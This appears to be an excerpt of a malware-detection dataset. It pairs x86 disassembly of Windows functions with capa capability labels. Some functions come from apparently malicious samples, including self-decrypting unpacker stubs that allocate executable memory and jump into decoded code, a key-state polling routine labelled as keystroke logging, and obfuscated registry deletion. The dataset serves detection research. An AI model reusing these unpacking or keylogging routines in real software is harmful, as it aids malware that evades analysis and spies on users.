joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406080
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x40b040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x40613c
cmp byte [esi + 0x3d], 0
je 0x40613c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x40612a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x4060f1
sub eax, 1
je 0x4060f5
sub eax, 2
jne 0x40612a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004069b7
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x406113
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x40612a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004069b7
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004069b7
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.004069b7
mov esp, ebp
pop ebp
ret

Function at 0x4073e1
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407420
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x407420
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407420
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x407420
cmp dword [ecx + 0x74], 0xe
jbe 0x407420
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402000
Capabilities:
Terminate process

Disassembly:
push str.INPUT_X:
call dword [sym.imp.msvcrt.dll_printf]
push 0x401054
push 0x40101d
call dword [sym.imp.msvcrt.dll_scanf]
push str.INPUT_Y:
call dword [sym.imp.msvcrt.dll_printf]
push 0x401058
push 0x40101d
call dword [sym.imp.msvcrt.dll_scanf]
mov eax, dword [0x401054]
mov edx, dword [0x401058]
mov dword [0x40105c], eax
mov dword [0x401060], edx
mov eax, dword [0x401054]
mul dword [0x401058]
sub eax, 1
mov dword [0x40106c], eax
mov edx, dword [0x40105c]
add edx, dword [0x401058]
cmp edx, 0
jne 0x40207d
push str.Error__You_cant_divide_by_zero
call dword [sym.imp.msvcrt.dll_printf]
jmp 0x4020d7
mov eax, dword [0x40106c]
mov ecx, edx
mov edx, 0
div ecx
mov dword [0x40106c], eax
mov dword [0x401064], edx
mov dword [0x401068], ecx
cmp dword [0x401064], 0
jne 0x4020b8
push dword [0x40106c]
push str.Result:__d
call dword [sym.imp.msvcrt.dll_printf]
jmp 0x4020d7
push dword [0x401068]
push dword [0x401064]
push dword [0x40106c]
push str.Result:__d__d__d_
call dword [sym.imp.msvcrt.dll_printf]
jmp 0x4020d7
call dword [sym.imp.msvcrt.dll__getch]
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]

Function at 0x1000f7f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1000f7ff
pop dword [ebp - 0x24]
mov eax, 0x6a27cfd8
add eax, 0xa5d92827
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x41c4699a
add dword [ebp - 0x34], 0xc8ddbb1
mov dword [ebp - 0x30], 0x7cbc9530
sub dword [ebp - 0x30], 0x4a8948eb
mov dword [ebp - 0x2c], 0x7ec3c56a
add dword [ebp - 0x2c], 0xcd887ec4
mov dword [ebp - 0x28], 0xa9955a3b
add dword [ebp - 0x28], 0x566aa5c5
lea eax, [ebp - 0x34]
push eax
mov eax, 0xee5bb55c
sub eax, 0xde5a054c
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xc05e150
add dword [ebp - 0x34], 0x686c8806
mov dword [ebp - 0x30], 0x9468cb52
add dword [ebp - 0x30], 0xad039623
mov dword [ebp - 0x2c], 0x79054701
sub dword [ebp - 0x2c], 0x1595da95
mov dword [ebp - 0x28], 0x2ed66eeb
sub dword [ebp - 0x28], 0x2ed66eeb
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3c463
push 0
call eax
mov ecx, 0x401f
xor edx, edx
add edx, eax
mov esi, 0x1002b000
add esi, dword [ebp - 0x24]
mov ebx, 0xf65e1314
add dword [ebp - 0x14], ecx
mov edi, dword [esi]
add dword [ebp - 8], 0xc1e7e31a
add edi, ebx
add dword [ebp - 0xc], 0x6d873de0
mov dword [edx], edi
xor dword [ebp - 0x1c], 0x2f094c2d
add edx, 0xe93ca93
sub edx, 0xe93ca8f
add esi, 0x83b2df55
add esi, 0x7c4d20af
loop 0x1000f90c
add eax, 0x57a49c65
sub eax, 0x57a3a916
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x94e01c61
add ecx, 0x7b1fe39f
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x100152e5
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0xc], 8
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 1
mov dword [ebp - 4], 0xa772304b
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 8]
mov dword [ebp + eax - 0x24], ecx
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov dword [ebp - 4], 0
jmp 0x1001533d
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 3
jg 0x10015384
mov dword [ebp - 0x14], 0xfffffff9
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x24], ecx
jl 0x10015365
mov dword [ebp - 0x10], 1
jmp 0x10015369
and dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
neg eax
mov ecx, dword [ebp - 4]
mov dword [ebp + ecx*4 - 0x24], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 4]
mov dword [ebp + eax - 0x24], ecx
jmp 0x10015336
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov esp, ebp
pop ebp
ret
Function at 0x100168cf
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x1005e472
call fcn.1005dc70
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 0x14], 0x3abb
xor esi, esi
cmp dword [ebp - 0x14], 0x3bcf
push edi
mov dword [ebp - 0x10], esp
jle 0x10016925
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov edi, esi
mov ebx, esi
mov eax, ebx
mov ecx, 0x10606d98
xor eax, edi
cdq
push edx
push eax
call fcn.10011b50
inc ebx
cmp ebx, 0x9c1
jl 0x10016902
inc edi
cmp edi, 0x1601
jl 0x10016900
mov dword [ebp - 4], esi
cmp dword [ebp - 0x14], 0x3876
jge 0x10016940
mov edx, 0x10008234
mov ecx, 0x10606d98
call fcn.10014461
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001696d
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x1005e47c
call fcn.1005dc70
sub esp, 0xc
push ebx
push esi
mov dword [ebp - 0x18], 0x25a6
cmp dword [ebp - 0x18], 0x27bc
push edi
mov dword [ebp - 0x10], esp
jle 0x100169c7
xor esi, esi
xor edi, edi
xor ebx, ebx
mov dword [ebp - 0x14], 0x39e7
mov eax, ebx
mov ecx, 0x10606d98
xor eax, esi
cdq
push edx
push eax
call fcn.10011b50
add ebx, edi
dec dword [ebp - 0x14]
jne 0x1001699d
inc edi
cmp edi, 0x50a2
jl 0x10016994
inc esi
cmp esi, 0x3ff6
jl 0x10016992
and dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0x22e0
jge 0x100169e3
mov edx, 0x1000826c
mov ecx, 0x10606d98
call fcn.10014461
fldz
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100174cf
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005e49a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x64
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10017699
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x38], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x30]
movzx eax, byte [eax]
test eax, eax
je 0x1001764c
mov dword [ebp - 0x28], 0x5110
mov dword [ebp - 0x3c], 0x100084dc
cmp dword [ebp - 0x28], 0x529b
jle 0x100175f7
push 0x1b75
call dword [sym.imp.USER32.dll_GetKeyState]
and dword [ebp - 0x18], 0
jmp 0x10017556
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x12b6
jge 0x100175f7
and dword [ebp - 0x1c], 0
jmp 0x10017570
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x122b
jge 0x100175f2
and dword [ebp - 0x20], 0
jmp 0x10017586
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1710
jge 0x100175ed
and dword [ebp - 0x24], 0
jmp 0x1001759c
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xc05
jge 0x100175eb
mov eax, dword [ebp - 0x18]
cdq
idiv dword [ebp - 0x1c]
mov eax, edx
cdq
idiv dword [ebp - 0x20]
imul edx, dword [ebp - 0x24]
mov eax, edx
cdq
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x74]
call fcn.1000d3ae
pop ecx
pop ecx
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
call fcn.10011b30
push eax
call fcn.100489bf
pop ecx
lea ecx, [ebp - 0x74]
call fcn.10011b26
jmp 0x10017595
jmp 0x1001757f
jmp 0x10017569
jmp 0x1001754f
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x40], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x28], 0x4d9b
jge 0x10017613
push dword [ebp - 0x3c]
call fcn.100489bf
pop ecx
jmp 0x1001762f
or dword [ebp - 4], 0xffffffff
jmp 0x10017639
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
jmp 0x10017697
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x14]
mov dword [eax], 0
jmp 0x1001767a
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
cmp dword [eax], 3
jge 0x10017697
mov eax, dword [ebp - 0x14]
push dword [eax]
mov ecx, dword [ebp - 0x54]
call fcn.10011e16
mov dword [eax], 0x278fa8f9
jmp 0x1001766f
jmp 0x100176ad
push 0x6364
push 1
push 0x251
call fcn.10016ab2
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10017acc
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005e4c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10017ba1
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x10017b7f
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x38], 2
push 2
lea ecx, [ebp - 0x48]
call fcn.10011d78
and dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x3c], 5
mov dword [ebp - 0x10], 0
jmp 0x10017b51
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10017b6a
push dword [ebp - 0x10]
lea ecx, [ebp - 0x48]
call fcn.10011e16
mov dword [eax], 5
jmp 0x10017b4a
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x48]
call fcn.10011dfa
jmp 0x10017b9f
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x10017b9f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x10017bb3
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
push 0
push dword [ebp - 0x28]
call fcn.10019573
pop ecx
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x10019597
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x100195c3
mov eax, dword [ebp + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 8], eax
push dword [ebp - 4]
push dword [ebp - 8]
push 1
call fcn.10019622
add esp, 0xc
jmp 0x1001961e
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
lea eax, [ebp + 0x20]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x10019614
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
mov dword [eax], 1
jmp 0x1001961e
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov esp, ebp
pop ebp
ret
Function at 0x1002073c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x100207e2
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x10020795
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10020793
push 0
push 0
push 0
push 0
push 0x11db
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x100207e0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x100207c3
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 3
jge 0x100207e0
mov eax, dword [ebp - 8]
push dword [eax]
mov ecx, dword [ebp - 0x20]
call fcn.10011e16
mov dword [eax], 6
jmp 0x100207b8
jmp 0x1002080f
push 0x2204
push 0x2ee7
push 0x782d
push 0x6c0e
push 0x7aca
push 0
push 0x2504
push 0x1f35
call fcn.100326be
add esp, 0x20
mov esp, ebp
pop ebp
ret
Function at 0x10029787
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 8]
test eax, eax
je 0x100297cd
lea eax, [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x100297bd
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x100297bb
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
jmp 0x100297cb
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
jmp 0x100297f3
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
push dword [ebp - 0xc]
push 0x315a
push 0x5f6f
push 0
push dword [ebp - 0x10]
call fcn.1002f56c
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x1002e3cf
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1002e410
lea eax, [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1002e3f4
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
jmp 0x1002e40e
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x1002e40e
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
jmp 0x1002e424
push 0x458e
push 0xcf2
push 0
call fcn.10020a40
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x1002f2e7
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x1002f371
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x1002f35e
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x1002f33f
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 3
jge 0x1002f35c
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x30]
call fcn.10011e16
mov dword [eax], 6
jmp 0x1002f334
jmp 0x1002f36c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
jmp 0x1002f44c
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x40], eax
lea eax, [ebp + 0x24]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x34]
movzx eax, byte [eax]
test eax, eax
je 0x1002f3a4
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
jmp 0x1002f44c
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
imul eax, dword [ecx]
mov ecx, dword [ebp - 0xc]
cmp eax, dword [ecx]
jl 0x1002f3ef
mov dword [ebp - 0x10], 1
jmp 0x1002f3f3
and dword [ebp - 0x10], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
sub eax, dword [ecx]
cmp eax, 0xfffffffb
jb 0x1002f420
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x1002f420
and dword [ebp - 0x14], 0
jmp 0x1002f427
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jge 0x1002f440
mov dword [ebp - 0x18], 1
jmp 0x1002f444
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1002f7cb
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1002f85f
lea eax, [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x1002f847
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0
jmp 0x1002f804
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jge 0x1002f817
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x20], 0x7117
jmp 0x1002f7fd
mov dword [ebp - 0xc], 0
jmp 0x1002f827
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 2
jg 0x1002f845
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x1002f843
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x1002f820
jmp 0x1002f85d
push 0
push 0
push 0x2d5
push 0x1d9b
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
jmp 0x1002f890
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
push 0x32de
push dword [ebp - 0x14]
push 0x6c2c
push 0xb8d
push 0x26f6
push 0x271c
push 0x44ab
push 1
call fcn.100297f7
add esp, 0x20
mov esp, ebp
pop ebp
ret
Function at 0x100329dd
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push esi
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x10032a78
mov eax, dword [ebp + 0x24]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x20]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x10032a3a
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x10032a38
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x10032a76
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov eax, dword [eax]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
mov dword [ecx], eax
jmp 0x10032ae1
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x44], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x38]
movzx eax, byte [eax]
test eax, eax
je 0x10032ad9
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x58]
mov esi, dword [eax]
push 2
mov ecx, dword [ebp - 0x5c]
call fcn.10011e16
mov dword [eax], esi
jmp 0x10032ae1
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
mov esp, ebp
pop ebp
ret